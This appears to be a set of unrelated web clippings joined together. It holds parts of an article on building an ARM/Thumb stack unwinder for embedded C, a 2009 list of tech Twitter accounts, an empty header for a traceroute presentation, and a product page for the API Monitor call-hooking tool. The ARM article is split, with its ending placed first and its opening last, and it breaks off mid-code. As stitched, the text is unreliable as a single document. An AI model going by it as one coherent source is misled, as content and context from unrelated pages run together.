To accommodate this, the model ARM must either be aware of tail calling and ignore it, or must additionally be able to interpret function prologues. Detecting the tail call would not be impossible, the pattern or restoring the Link Register from the stack and then unconditionally branching is detectable, but there could be a small risk of misdetection if the LR were used in a function body for any purpose such as temporary storage or arithmetic.
Interpreting a function prologue is much the same as interpreting an epilogue and the same instructions will be used to generate the constant value for the stack adjust. However, whereas previously all values were being read from memory and the stack, some values are now stored to the stack to save state before the function executes. This could potentially damage the stack on an executing system, so a small hash table to store memory addresses and their values is implemented to store stack data instead; before reading from memory the hash table is inspected, and if a value is found it is used in place of the value from the device memory. Since function prologues are likely to start with a PUSH or STMFD instruction, there is also the possibility of an invalid register value being stored to memory, so the memory hash has to allow for storage of some state data to prevent an invalid register value becoming valid if it is PUSHed and then POPed from the stack. Finally, to prevent the memory hash needing to be large or risk overflowing, it is periodically purged of data stored at addresses that are above the current top of the stack.
Caveats
And there we have it - a scheme performing a kind of abstract interpretation of ARM or Thumb code in order to unwind the stack frames. However, while small, this method of abstract interpretation is not quite perfect. There are a number of situations where it will not work, although the general case so far suggests that it works very well in practice. Still, there are limitations, and these are best listed.
· It is possible for the compiler to construct loops that appear as infinite due to the lack of interpretation of conditional code or branches. 
· The unwinder interprets the return path of the code. While this is generally the same or very similar to the calling path, there are circumstances where the two can be subtlety different. 
· It is easy to construct code by hand that fools the interpretation. 
· If the stack has already been corrupted, unwinding cannot succeed. 
The problem of infinite loops could be dealt with by adding a random element to interpretation. For example, if the model suspects itself to be stuck in an infinite loop (a large number of instructions have been interpreted with no function epilogue being found), it may start randomly taking conditional branches in an attempt to 'chance upon' the function epilogue. While more sophisticated methods of exiting infinite loops, such as tracking the PC and marking branch history, could be implemented, they would require more memory and complexity for something that has rarely been found to cause a problem in practical usage of the unwinder.
A greater problem with no solution is that of tail calling masking functions from the unwound stack. If the interpretation is started from a function that was tail called, the function that made the tail call will be omitted from the unwound stack. In example 8, unwinding started from tailFunc() or a sub-function thereof would omit to report tailCall() since the return path would not pass through that function. In hindsight it may have been better to run the model ARM backwards, although this presents different problems. 
Implementation
The following shows the amount of code and data occupied by the unwinder when compiler using RVCT2.1, compiled to Thumb code with -O2. The totals show that under 3k of ROM is used to implement the model ARM, which is very acceptable for my application. 
Code
(inc. data)
RO Data
RW Data
ZI Data
Library Member Name
44
0
0
0
0
unwarminder.o
182
0
0
0
0
unwarm.o
904
68
0
0
0
unwarm_arm.o
1198
60
0
0
0
unwarm_thumb.o
300
0
0
0
0
unwarmmem.o
2628
128
0
0
0
Totals
Table 1: Unwinder code size (using RVCT2.1, TCC -O2).
The unwinding code is implemented in a handful of files, and a single header file named unwarminder.h needs to be included to access the functionality. Accessing to the system memory from the unwinder is abstracted through callbacks that must be implemented by the 'client' code, and this allows reads to be validated such that unwinding is stopped if alignment or the address being read is at fault. The client code passes a small structure of function pointers to the unwinder to equip it with the callbacks required to read memory and report return addresses.
The function that starts the unwinding is given as follows: 
UnwResult UnwindStart(Int32                  spValue,
                      const UnwindCallbacks *cb,
                      void                  *data);
Code 3: The function to start unwinding.
The cb structure gives the callbacks to allow memory accesses and return address reporting, while the data pointer can take any value and is passed to the reporting function (cb->report()) such that it may store state if required. 
The spValue gives the stack pointer value at which to start unwinding; the PC value is determined automatically as it is effectively passed to the function via the Link Register and so can be retrieved. When using RVCT, the compiler intrinsic function __current_sp() allows the SP value to be read into a variable, so a call to start unwinding typically looks something like the following:
const UnwindCallbacks cliCallbacks = { ... };
CliStack              results;
Int8                  t;
UnwResult             r;

results.frameCount = 0;
r = UnwindStart(__current_sp(), &cliCallbacks, &results);
Code 4: Typical call to start unwinding, passing a pointer to some structure that lists all the callbacks, as well as a pointer to local storage. 
Finally, the implementation is not aware of any OS or memory protection or management schemes that maybe in use on the target. The system on which this has been tested is simply configured with a flat memory map and has few restrictions on memory access, and the RTOS used poses no restrictions either. It maybe the case that to use this on other targets the MMU or MPU has to be reconfigured or disabled before unwinding is started, or the functions used by the unwinder to access the memory specially constructed to ensure that memory protections will not cause a problem. Should the unwinder request access to addresses that are genuinely invalid, the client functions for memory access can return FALSE to indicate that the memory cannot be accessed, and unwinding will terminate. 
Licence and Download
The source code for the stack unwinder is available for free download and I'm making it PUBLIC DOMAIN. This means that there is no copyright and anyone is able to take a copy for free and use it as they wish, with or without modifications, and in any context they like, commercially or otherwise. The only limitation is that I don't guarantee that the software is fit for any purpose or accept any liability for its use or misuse - the software is without warranty.
Having said all this, the software has been ran under Valgrind and tested both in PC simulations (using ARMSD) and on ARM7TDMI and ARM920T targets. 
The download package is available here (right-click, Save As...):
· wind.tar.gz (64k) - updated 12/07/2007 
This package contains the source code for the unwinder as well as two 'clients' that allow the unwinder to be exercised. The first client is contained in two files, client.c and client.h and can be built to produce an image that can be executed either on an ARM target or in an emulator and demonstrates the unwinding of the stack from which the unwinder is called. The second client is the 'simulation' client, simclient.c and simclient.h, which uses two memory images that are also supplied and contain a snapshot of a call stack and executable code which allows interpretation by the unwinder on a PC, where PC tools can also be used to debug the unwinder. The memory images supplied cannot however be ran on a target since I've zero'd the areas of code that are not needed to demonstrate the unwinder such that the ARM runtime is not present in binary form. 

This page is maintained by Michael McTernan
﻿http://www.yfncg.com/2009/05/11/100-tech-twitter-accounts/ 
100 Tech Twitter Accounts You Should Be Following | Your Friendly Neighborhood Computer Guy
Created:
5/11/2009 7:08:59 PM
Updated:
5/11/2009 7:09:16 PM
Author:

Tags:
Twitter


100 Tech Twitter Accounts You Should Be Following

By: Matt R. on May 11th, 2009
Categories: Computer Tech Culture, Lists

After writing a recent post on the reasons why computer techs should be using twitter, I received quite a few requests asking for me to provide a list of tech accounts to follow for folks to get started.  I thought it would be cool to try to build this list, and in the process I’ve discovered some excellent resources. 
This is by no means an exhaustive list.  I’d call this more of a “beginners list”;  a run-down of some useful twitter accounts that focus on tech and computers. It’s purpose is to get you started if you’re new to twitter or to round out your list if you’re already on twitter.  The list is appropriate for anyone who is interested in keeping up with technology trends. 
Tech Websites/Publications
These are the accounts of some of the top technology destinations on the net.  They provide useful information for us computer professionals and enthusiasts.  Follow these accounts for the latest news, trends, and articles on all things tech. 
@arstechnica - Ars Technica: The Art of Technology
@CNET News - CNET News.com
@engadget - Engadget: Official Twitter account of Engadget!
@geekforever - Forever Geek: forevergeek.com
@gigaom - GigaOM:The GigaOM bot brings you all the latest headlines from GigaOM network of blogs.
@gizmodo - gizmodo: gizmodo.com
@google - A Googler: News and updates from Google
@MacObserver - The Mac Observer: All TMO articles directly from our rss feed
@MikeTechShow - miketechshow: Podcaster
@pchere - pchere - Chief Blogger & Editor of QuickOnlineTips.com: Publishes technology news, blogging tips, wordpress hacks, web 2.0, new media
@PCMag - PC Magazine: The Independent Guide to Technology since 1982
@Technibble - Technibble: Technibble is a resource for computer technicians to help them with their business
@TechRepublic - TechRepublic: TechRepublic is a trade publication and online community for IT professionals
@Techwatch - Tech Watch: Providing you with all your tech updates in one place! Formaly comming summer 09!
@techwatching - techwatching: This is the “Stories” feed for TechWatching.com, technology news and views minute by minute. Links go directly to stories.
@The Force Field - The Force Field: Producer and Host of The Force Field a podcast and portal for IT Service Providers
@Wired - Wired: Wired magazine and Wired.com’s twitter feed | Currently hosted by Wired.com science editor @betsymason
@ZDNetBlogs - ZDNet Blogs: Top Tech Blog Network
Tech Vendors
The official twitter accounts of some of the more popular hardware and software vendors.  These will help keep you up to date on new releases, sales, and announcements pertaining to your favorite company. 
@AMD_Unprocessed - AMD_Unprocessed: Official Twitter account for AMD. CPUs, Graphics & Balanced Platforms
@ATIgraphics - ATI Graphics: Dedicated to providing the latest news, product information and contests from the ATI Graphics team at AMD
@ATTNews - ATTNews: AT&T’s Official Newsroom Twitter Feed
@BlackBerry - Research In Motion: www.blackberry.com
@buyHP - Shop at HP: Buy HP products & services (Got a suggestion - twitter @ hp.com)
@CiscoSystems - Cisco Systems: News and info about Cisco, our CEO and execs. I am John Earnhardt and am your tourguide on our official Twitter feed. Cisco Support @ http://www.cisco.com/ta
@DellOutlet - Dell Outlet: Refurbished DellTM computers, electronics. Question/comment? Contact Stefanie Nelson at @StefanieAtDell. More Dell Twitter accounts at www.Dell.com/Twitter
@forumnokia - Forum Nokia: Driving Mobile Innovation
@googleapps - Google Apps: Official Google Apps team feed, moderated by Kevin Gough. Google Apps is software-as-a-service for business email, information sharing and security.
@HP_SMB - Hewlett Packard
@hpnews - News @ HP: Got a suggestion? Some constructive criticism? Let’s tweet! (DM @iange - Ange Embuldeniya or E-mail: twitter AT hp.com)
@HTC - HTC - Connecting with smartphone users everywhere. have a question or comment about HTC? Just tweet!
@IBMResearch - IBMResearch: IBM’s Research Division
@intel - Intel: @kenekaplan and @kfcochrane of Intel Global Communications sharing news, views and events about tech & innovation.
@motodeals - MotoDeals: The official word on exclusive deals and user tips for Motorola phones and accessories.
@MSWindows - Microsoft Windows: Your source for all things Windows on twitter.
@NEC - NEC: NEC Unified Solutions
@NeweggDailyDeal - Newegg Daily Deals: For US Newegg Deals, follow us. For Canadian Newegg Deals, follow @NeweggDealsCa
@Oracle - Oracle: Oracle News
@palm_inc - palm_inc: Stay connected with Palm and learn about news, products, tips and tricks, deals and more.
@RedHatNews - RedHatNews: Official news and announcements from Red Hat.
@Seagate - Seagate: The worldwide leader in hard disk drives and storage devices.
@sprintnews - sprintnews: Official feed for news about Sprint Nextel. For ?’s about us or customer service issues, see @jgoldsborough, @jbtaylor, @cndavis, @srdoherty, @svinge
@TigerDirectNew - Tiger Direct Now: Great Deals on Electronics!
@ToshibaLaptops - Toshiba
@vmware - vmware: Virtualization Technology
@vzwupdates - vzwupdates: Timely Updates on Verizon Wireless Phones, Network, Plans & Policies
@WesternDigital - Western Digital
Tech Security
Receive up-to-the-minute news on the latest virus and security threats from these top information security vendors. 
@bitdefenderlabs - BitDefenderLabs: antimalware software - the future of security now!
@CiscoSecurity - CiscoSecurity: Cisco Security events, products, and solutions. Also, general network security news updates. (Updated for CMO Security Solutions by L. Friedman)
@fortinet - Fortinet: Consolidated security solutions for enterprises, MSSPs, carriers and more
@McafeeAvertLabs - McAfee: The official tweets of McAfee Avert Labs
@McAfeeNews - McAfee News: Get McAfee’s official news announcements by following this feed. (Not an interactive feed.)
@mssecurity - Microsoft Security: Microsoft and Windows home security bulletins
@Kaspersky - Kaspersky Lab: Leading developer of antivirus software that protects against all forms of malware with the fastest updates
@symantecnews - symantecnews: @coryedwards providing the latest news, updates and insights from Symantec on all things security, storage, and data protection
@trendmicro - TrendMicro: Trend Micro provides leading Internet content security solutions for businesses and consumers.
@verisign - Karen@VeriSign: VeriSign is the trusted provider of Internet infrastructure. Tweets by @karensnyd.
@websenselabs - WebsenseSecurityLabs: The security research team at Websense. Researchers, coders, incident handlers, across the world.
@zonealarm - zonealarm: ZoneAlarm®, a Check Point Software Technologies, Inc. Company, is one of the most secure brands in consumer Internet security.
Tech People
For opinions, links, updates, and insight from a personal perspective, follow these top tech authorities.  They run the gammut from CTO’s to podcast hosts and everything in-between. 
@acedtect - Tom Merritt: Host of CNET.com podcasts and videos, as well as East Meets West and Sword and Laser podcasts. And as always, Coffee achiever
@arrington - Michael Arrington: TechCrunch founder. Dog Lover.
@bobbiejohnson - Bobbie Johnson: journalista and navel-gazer
@charleneli - Charlene Li: Co-author of Groundswell, thought leader on emerging technologies
@danoliver - Dan Oliver: Journalist and editor of .net magazine. These are my views, not those of Future Publishing. Mmm’k.
@davezatz - Dave Zatz: Geek blogger, sailing the seas of cheese.
@DCoT - Tim Fehlman - Chief Technology Officer, blogger, IT expert, Daily Cup of Tech author, tech guru, entrepreneur, hacker, maker, public speaker, author, Internet safety advocate.
@enderle - Enderle: Analyst
@erickschonfeld - erickschonfeld: Co-editor of TechCrunch
@ev - Evan Williams: CEO of Twitter
@gcluley - Graham Cluley: Senior technology consultant, Sophos. Viruses, spam, computer security, that kind of stuff.
@guykawasaki - Guy Kawasaki: RSSurai with Annie Colbert, Gina Ruiz, and Bill Meade
@harrymccracken - Harry McCracken: Technologizer founder. Boy journalist. Bon vivant.
@inafried - Ina Fried: http://news.cnet.com/beyond-binary/
@jasonhiner - Jason Hiner: TechRepublic Editor in Chief — I use Twitter to share links, observations, and professional upates. I read every @ reply but can only respond selectively.
@jasoncalacanis - Jason Calacanis: Founder of Weblogs, Inc., TechCrunch50 and Mahalo.
@jemimakiss - Jemima Kiss: Guardian writer and interwebber. I live, therefore I Tweet.
@joshuatopolsky - Joshua Topolsky: Editor-in-chief of Engadget.com, reformed producer, lover of creepy movies.
@jowyang - Jeremiah Owyang: I work at Forrester Research, however these opinions are mine. How I use Twitter http://tinyurl.com/24lv65
@jsnell - Jason Snell: Editor of Macworld, writer, primate, skeptic
@kevinrose - Kevin Rose: Founder of social media site digg.com. Random ideas, entrepreneur, climber of rocks, video blogger, & tea drinker.
@labnol - Amit Agarwal: Technology columnist &amp; professional blogger
@lance - Lance: I am a technology entrepreneur and currently a Venture Catalyst at Georgia Tech. I help launch and build technology companies.
@leolaporte - Leo Laporte: I’ve experiments to run, there is research to be done, on the people who are watching TWiT Live.
@mattcutts - Matt Cutts: Head of webspam team at Google.
@mikkohypponen - Mikko H. Hypponen: CRO at F-Secure
@mollywood - Molly Wood: Host of the Buzz Report, Mailbag, and Gadgettes on CNETTV.com. 4WD epicure
@nataliedelconte - Natali Del Conte: http://www.natalidelconte.com/
@om - Om Malik: Founder of GigaOM &amp; a Venture Partner at True Ventures
@padmasree - Padmasree: CTO of Cisco
@rafe - Rafe Needleman: Writes wacky web 2.0 weviews
@ryanblock - Ryan Block: I’m an editor and technology critic in the midst of founding a new web startup: gdgt.
@sarahcuda - Sarah Lacy: i’m a reporter/author in silicon valley
@saschasegan - saschasegan: I’m mostly the cell phone guy for PCMag; my other car is a travel writer.
@scobleizer - Robert Scoble: Geek and technology enthusiasm from a blogger who grew up in Silicon Valley.
@Techcrunch - Michael Arrington - Breaking Technology News And Opinions From TechCrunch
@teksquisite - Bev Robb: Southwest NH small business It consultant and Cheeky-Geeky opportunist with a strong interest in computer forensics and social media.
@THErealDVORAK - John C. Dvorak: http://www.dvorak.org/blog/
@thurrott -Paul Thurrott: Paul Thurrott is the guy behind the SuperSite for Windows. Way behind. 
@veronica - Veronica Belmont: Host of Tekzilla on Revision3 and Qore on PSN. Also, a geek.
@zephoria - danah boyd: Academic or activist? That is the question. (I study youth practices, social media, and cultural dynamics.)
Bonus: My Tech Buddies - These are folks whose name you may not recognize, but with whom I’ve had valuable personal interactions with on Twitter.  Check them out, you wont regret it! 
@arch1tect - Harry Falkenmire: SysAdmin (Windows, Altiris, VMware)
@cbucholdt - Christian Bucholdt: Independent consultant - Applying Requirements Engineering, agile methodology (Scrum) and IT Service Management in a pragmatic manner = creating customer value
@EricHamm - Eric Hamm: Wordpress designer/consultant, online entrepreneur, multifaceted blogger and creator of the frugal Wordpress Theme. www.frugalTheme.com
@MathieuB - Mathieu Bourgie: Blogger/Consultant @ Hardware Revolution, a blog where I offer various computer system designs, ideas and tips on how to help you cut down on computer costs!
@meekprize - mike perez: some dude
@josephmunizjr - Joseph Muniz Jr: An IT Tech trying to stay current on technology.
@philmcdonnell - philmcdonnell: Web developer, designer, consultant, techno-guy, business owner, animal lover and proud parent.
@rglauser - Rhett Glauser: Loud talker for Service-now.com, the only enterprise service desk (ITSM) via SaaS.
@theitskeptic - Rob England: The IT Skeptic: writer, commentator, life balancer.
@timmyjohnboy - Tim Lenahan: http://timmyjohnboy.com/
And, of course, yours truly:
@mattrodela - Matt Rodela: Small business owner, computer guy, blogger @ Y.F.N.C.G., Data Center Systems Analyst for midsize pharma company
Who did I miss?  Let me know in the comments and with your help I’ll continue to update this list!
﻿http://www.nanog.org/meetings/nanog47/presentations/Sunday/RAS_Traceroute_N47_Sun.pdf 
A Practical Guide to (Correctly) TroubleshootingwithTraceroute Troubleshooting with Traceroute Richard A Steenbergen <ras@nlayer.net> nLayer Communications, Inc.
Created:
2/16/2010 2:21:26 PM
Updated:
2/16/2010 2:21:53 PM
Author:

Tags:
network-security admin infrastructure


﻿http://www.rohitab.com/apimonitor 
API Monitor: Spy on API Calls and COM Interfaces (Freeware 32-bit and 64-bit Versions!) :: rohitab.com
Created:
11/10/2010 8:08:52 AM
Updated:
11/10/2010 8:09:00 AM
Author:

Tags:
windows security API hooking windows environment


API Monitor
Contents
Overview
Features
Change Log
Screenshots
Requirements
Download
Support Forums
Tutorials
Old Version 1.5
 
API Monitor v2 is currently in Alpha. Installers for both 32-bit and 64-bit versions are now available. Download Now.
Overview
API Monitor is a free software that monitors and displays API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.

Features
64-bit Support
API Monitor supports monitoring of 64-bit applications and services. The 64-bit version can only be used to monitor 64-bit applications and the 32-bit version can be only be used to monitor 32-bit applications. To monitor a 32-bit application on 64-bit Windows, you must use the 32-bit version. Note that the 64-bit installer for API Monitor includes both 64-bit and 32-bit versions.
 
Summary View with Syntax Highlighting
The Summary window displays information about the API call. This includes the Thread ID and the name of the DLL that made the API call, the syntax-highlighted API call with all parameters and the return value. If the API call fails, information about the error is also displayed. 

 
10,000+ API Definitions, 600+ COM Interfaces
API Monitor comes with API Definitions for over 10,000 API’s from 166 DLL’s and almost 7000 methods from 600+ COM Interfaces (Shell, Web Browser, DirectShow, DirectSound, DirectX etc). API’s are organized into categories and sub-categories (as specified in MSDN). The API Capture filter enables you to to select API’s for monitoring. 

 
COM Monitoring
API Monitor supports monitoring of COM Interfaces. The following screenshot displays COM method calls made by DirectShow GraphEdit. 


API Monitor also decodes GUID’s, IID’s and REFIID’s and displays them in a human readable format 

 
Buffer View
API Monitor can display both input and output buffers. The amount of data displayed is automatically calculated from other arguments to the API or from the API return value. The maximum amount of data to be captured is configurable. The following screenshot shows the buffer after a ReadFile API call. The length lpBuffer is calculated by looking at the value of lpNumberOfBytesRead after the API call has executed. In this case, the value returned was 174 and that is the length of the buffer displayed. 

 
Call Tree
API Monitor displays a call tree which shows the hierarchy of API calls. The following screenshot displays a call tree for a CoInitializeEx call made bynotepad.exe on 64-bit Vista. 

 
Decode Parameters and Return Values
Both parameters and return values can be displayed in a user-friendly format. The first screenshot below shows the normal view with the parameter values displayed as-is. The second screenshot displays the decoded parameter values. For dwShareMode, API Monitor displays FILE_SHARE_DELETE | FILE_SHARE_READ instead of 5, when the Decode Parameter Values option is enabled. This option is available both in the parameters pane and the summary pane. 



 
Decode Error Codes
When an API call fails, API Monitor can call an appropriate error function to retrieve additional information about the error. GetLastError, CommDlgExtendedError, WSAGetLastError functions are supported. In addition, NTSTATUS and HRESULT error codes can be displayed in a friendly format. In the following screenshot, the API connect failed. API Monitor determined the error code by calling WSAGetLastError and displayed both the error code and the error message in red. 

 
Call Stack
API Monitor lets you capture and view the call stack for each API call. The following screenshot displays the call stack for a NtCreateFile API. 

 
Multiple Layout Options
The GUI in this version has been completely written and provides a number of useful features. A number of pre-defined layout options are available, however, you may choose to create your own custom layout. The GUI is divided into dockable windows for “API Capture Filter”, “Running Processes”, “Output”, “Parameters”, “Hex Buffer”, “Call Stack” and “Hooked Processes”. Each of these windows can be set to “Docking”, “Floating”, “Hide” or “Auto-Hide”.
 
Process View
The Running Processes window displays a list of running processes and services that can be hooked.
   
 
Monitoring of Services
Monitoring of Windows Services is supported. The following screenshot displays calls made by the Print Spooler service when a document was printed to Microsoft XPS Document Writer. Please note that to enable monitoring of services, your user account must have sufficient privileges (Administrator mode in Vista).


 
Custom DLL Monitoring
API Monitor supports creating definitions for any DLL. Definitions are created in XML format 

 
Threads
The Hooked Processes window displays processes that were previously hooked or are currently being monitored. Expanding the process displays all threads for the process. The thread marked with “M” is the main thread of the process. Threads marked with “W” are worker threads. Inactive threads are grayed out and are also marked with a red square in their icon. Each thread displays the Thread ID and start address for the thread. 

 
Change Log
Screenshots

API Monitor 2.0

Main View

Summary View

Capture Filter

Call Tree

Threads

Buffer View

Call Stack

Decode API Error

COM Monitoring

GUID Decoding

Hook Service

Process View

Services

Parameters

Hook Process

Normal

Decoded

API Loader

Custom DLL

Options: Monitoring

Options: Memory

Options: DLL's
Requirements
Windows XP 32-bit, Windows XP 64-bit x64, Windows Vista 32-bit, Windows Vista 64-bit x64, Windows 7 32-bit, Windows 7 64-bit x64
Download
Download files below, or Click here to download from MediaFire
Latest Release (Alpha r3)

API Monitor v2 (Alpha-r3) - x86 32-bit - - 32-bit for Windows XP, Windows Vista and Windows 7


API Monitor v2 (Alpha-r3) - x64 64-bit - - 64-bit for Windows XP, Windows Vista and Windows 7 x64


API Monitor v2 (Alpha-r3) - Portable - - Portable - Runs without installing - 32-bit and 64-bit

Click here to download older releases
Support Forums
Tutorials
Old Version 1.5
﻿http://www.mcternan.co.uk/ArmStackUnwinding/ 
ARM Stack Unwinding
Created:
4/15/2011 10:45:25 AM
Updated:
4/15/2011 10:45:25 AM
Author:

Tags:
Exploit reversing arm


ARM Stack Unwinding

by Michael McTernan

Introduction
Languages like C++ and Java have very useful facilities that allow a stack trace to be collected and displayed in a variety of ways. In Java, a snapshot of the current stack trace can be taken simply by constructing a Throwable object, and the trace can be displayed using the printStackTrace() method.

    Throwable t = new Throwable();

    t.printStackTrace(System.out);

Example 1: Displaying the current call stack in Java.
C++ offers similar facilities, and because of this, both these languages can provide useful information when an unexpected failure occurs and is detected. For example, assertions maybe placed in the code with the failure action being to display the current stack trace to help the programmer debug the cause.
Unfortunately C offers no such inbuilt luxury, and as such, debugging without a debugger or other logging mechanism maybe a little more difficult in the first instance. This interests me as I've worked as an embedded engineer creating software for consumer devices which are extensively field tested containing code that makes extensive use of assertion macros. I decided to investigate stack unwinding in order to enable better information to be gathered from devices that have failed in the field, with a goal to supporting stack tracing without the need for expensive or cumbersome supporting hardware.
Therefore I decided to make an ARM stack unwinder that would be suitable to run on an embedded target to provide stack trace capabilities for C, similar to those already enjoyed by other languages.
Design Consideration
Since the target is an embedded processor in a consumer device, there are some restrictions on how the solution can be engineered and what options are available. At the same time, knowing the target processor is likely to be an ARM7 or similar processor using the ARM and Thumb Instruction Set Architectures allows the solution to be targeted specifically to this family of RISC processors.
The restrictions imposed by the embedded target are as follows:
· There is little free storage (RAM or ROM).
· Large amounts of code will run from FLASH and cannot be modified.
· The form factor device cannot be directly connected to a debugger.
Since storage is at a premium on these devices, I decided to forego use of debug tables as these would need embedding on the target and would be large, even if compressed. Since code runs from FLASH, I also have to be careful that the solution does not try and patch any code - one stack unwinding approach described in the ARM APCS document is to 'patch' function entries and exits and to then execute code to cause the stack adjustments to be made and stack frames unwound. (Patching code in FLASH is not easy since FLASH can generally only be erased in blocks and then written once i.e. it is not truly random access. Additionally erasing any block of FLASH could potentially permanently damage the device until it is reprogrammed, so that is a risk and complexity best avoided if at all possible).
Finally the form factor devices usually don't bring out connectors for debugging such as JTAG. This may sound weird, but all the pins on the package inside the device have a use and JTAG is usually multiplexed with something that is generally more useful, and exposing debug interfaces is also considered a security issue and frowned upon in the industry. Additionally having less external connectors makes Electrostatic Discharge (ESD) protection simpler as well as having other small benefits. And in any case, Java requires no debugger to grab a stack trace, so why should C?
Method
Given the above restrictions, I decided that the best approach is to write a small model of the ARM processor which can interpret the code and look for the tell-tale signs of functions returning to divine the call stack. Yup, I decided to write a model ARM processor to run on the ARM to interpret the code with the aim of unwinding the stack, as opposed to producing bit exact interpretation of the code. Implementing the model ARM provides a couple of challenges that are laid out in the following subsections.
Function Epilogs
All functions look pretty much the same. They have a prologue, a main body and an epilogue. The compiler generates the prologue and epilogue on almost all functions (IRQ handling functions can be an explicit exception to this) to setup and teardown the stack frame used during the function body for things such as local variables. Debug tables can give details about the location of function prologues and epilogues to assist debuggers in interpreting the stack at any time, but I don't have these, so have to locate them automatically.
Since this is targeted at ARM processors, only ARM functions need to be considered. Looking at a few epilogues, it can be seen that they generally look the same and take the format shown in the following examples:

ADD      sp,#0x28
POP      {r4-r6,pc}

Example 2: Function epilog in Thumb.

ADD      sp,sp,#0x28
LDMFD    sp!,{r4-r6,pc}

Example 3: Function epilog in ARM.
The examples show a stack adjustment to remove storage allocated for locals, then a restoration of the corrupted registers as required by the ARM ABI, and the restoration of the program counter (PC) from the stack effectively executing the return. The return is very similar and can be detected easily regardless of processor operating mode (Thumb or ARM), although this raises an interesting question. The examples show a return that is only suitable if the function is always called from code in the same operating mode as the function itself i.e. the Thumb return code can only be used if returning to Thumb code, and the same is also true for ARM code. Practically it is sometimes the case that ARM code may call Thumb functions and vice versa, and this is known as interworking. Fortunately the ARM ABI also describes interworking and more examples can be generated to show function epilogues used when interworking is required.

ADD      sp,#0x28
POP      {r4-r6}
POP      {r3}
BX       r3

Example 4: Function epilog in Thumb with interworking.

ADD      sp,sp,#0x28
LDMFD    sp!,{r4-r6,lr}
BX       lr

Example 5: Function epilog in ARM with interworking.
With interworking, the BX instruction is used to enable the processor mode to be changed at the same time as returning from the function. In each case, the return address is restored to a register before being used with the BX instruction to cause the return, where the least significant bit of the return address is used to indicate the desired processor mode once the branch has been taken. So we now have a good idea of what we need to detect in order to determine where a function exits - the reading of a return address from the stack, it being loaded into the PC either directly by the load, or via a BX instruction.
The first thing in the model ARM is therefore to store not only register contents, but a bit of data about where the contents originated from. To do this, I've made a couple of types for my model ARM to use.

typedef enum
{
    REG_VAL_INVALID      = 0x00,
    REG_VAL_FROM_STACK   = 0x01,
    REG_VAL_FROM_MEMORY  = 0x02,
    REG_VAL_FROM_CONST   = 0x04,
    REG_VAL_ARITHMETIC   = 0x80
}
RegValOrigin;

typedef struct
{
    Int32              v;
    RegValOrigin       o;
}
RegData;

Code 1: Representation of a register in the model ARM.
Creating an array of RegData structures then allows the register file to be emulated. The Program Counter (PC) and Stack Pointer (SP) can be added to the register file to give the model a basis to interpret code.
At this point, two basic loops are added to the model - one to interpret Thumb code, and one to interpret ARM code and decoding for the POP and LDMFD instructions are added respectively. When a value is loaded to a register, the RegValOrigin can now be updated to indicate that the data originated on the stack, REG_VAL_FROM_STACK, making it easy to spot a function returning when a BX is encountered for such a tracked register. Interpretation of BX is therefore added to both the ARM and Thumb modes, faithfully checking the LSB of the branch address to change the interpretation mode between ARM and Thumb as needed.
At this point, the model ARM is capable of detecting the return from a function. This is a good start, but it needs to handle the stack adjustment if it is to be able to unwind more than one stack frame. In the examples seen so far, the stack adjust has just been the addition of 0x28 to the stack pointer, although this will not always be the case. Depending on the amount of stack data utilised by a function, the stack adjust maybe for a different value, and unfortunately not all adjustments can be accommodated by a single instruction. The following shows an odd C function and the generated assembly.

int testStackResize(void)
{
    char biggie[0x81111];
    char *c = biggie;
    int  t;

    sprintf(biggie, "Hello");

    t = 0;

    while(*c)
    {
        t += *c;
        c++;
    }

    runFunc();
    return t;
}

Example 6a: Function with odd stack usage.

testStackResize PROC
        LDR      r3,|L1.364| + 56
        PUSH     {r4,r5,lr}
        ADD      sp,r3
        MOV      r0,sp
        MOV      r4,sp
        ADR      r1,|L1.364| + 60
        BL       __0sprintf
        MOV      r5,#0
        B        |L1.202|
|L1.198|
        ADD      r5,r0,r5
        ADD      r4,#1
|L1.202|
        LDRB     r0,[r4,#0]
        CMP      r0,#0
        BNE      |L1.198|
        LDR      r0,|L1.364| + 68
        LDR      r0,[r0,#0]  ; runFunc
        BL       __call_via_r0
        LDR      r3,|L1.364| + 56
        MOV      r0,r5
        NEG      r3,r3
        ADD      sp,r3
        POP      {r4,r5}
        POP      {r3}
        BX       r3


Example 6b: Assembly listing of function with odd stack usage.
This fictional function is far from pretty, and the epilogue is somewhat more complicated. The important instructions are the LDR into r3 from a constant memory address, then the NEG operation before the stack adjust. Interlaced with this is an instruction to move the function's return value into r0 in accordance with the ABI. This requires the model ARM not only to interpret a number of new instructions, but also provokes thought about how the compiler generates awkward constant values.
In ARM and Thumb mode there are a number of ways in which to generate a constant value, and the model ARM will need to be able to interpret them all. Worse still is the possibility that the desired constant, or some part of it, has already been created for use by the function body an that the compiler will use this already constructed value. This means that the model not only needs to be able to interpret any instructions that can be used to generate constant values, but that it needs to be able to look outside the function epilogue and into the function body too. Therefore the model ARM becomes yet more sophisticated and now attempts to interpret every instruction of the program, starting at the PC and SP values from where the stack trace is required, and stopping when some to be determined criteria is met.
Clearly it is desirable for the model ARM is to remain small, and so only the subset of instructions that are needed for stack unwinding should be implemented. The required instructions that have been identified so far are those that are involved in constant value generation, stack adjusting and returning. The question is what to do when an instruction that is not understood is encountered. The solution to this is simple - invalidate all state and continue the interpretation! As seen earlier, the registers also have a status attached to their value, one status being REG_VAL_INVALID. Upon an uninterpreted instruction being found, all registered values, with the exception of the PC and SP are therefore invalidated.
Now that register values can be invalid, the rules of arithmetic also have to change to propagate this meta data. For example, a simple addition of two registers to yield a value in a third should produce a result with status REG_VAL_INVALID if either of the inputs is invalid. Additionally a register MOV should copy not only the register value, but the status too. The following code fragment from the ARM interpreting loop shows how the propagation of the register status data is handled for Data Processing instructions.

/* Propagate register validity */
switch(arithOp)
{
    case  0: /* AND: Rd := Op1 AND Op2 */
    case  1: /* EOR: Rd := Op1 EOR Op2 */
    case  2: /* SUB: Rd:= Op1 - Op2 */
    case  3: /* RSB: Rd:= Op2 - Op1 */
    case  4: /* ADD: Rd:= Op1 + Op2 */
    case 12: /* ORR: Rd:= Op1 OR Op2 */
    case 14: /* BIC: Rd:= Op1 AND NOT Op2 */
        if(!M_IsOriginValid(state->regData[rn].o) ||
           !M_IsOriginValid(op2origin))
        {
            state->regData[rd].o = REG_VAL_INVALID;
        }
        else
        {
            state->regData[rd].o = state->regData[rn].o;
            state->regData[rd].o |= op2origin;
        }
        break;
    case  5: /* ADC: Rd:= Op1 + Op2 + C */
    case  6: /* SBC: Rd:= Op1 - Op2 + C */
    case  7: /* RSC: Rd:= Op2 - Op1 + C */
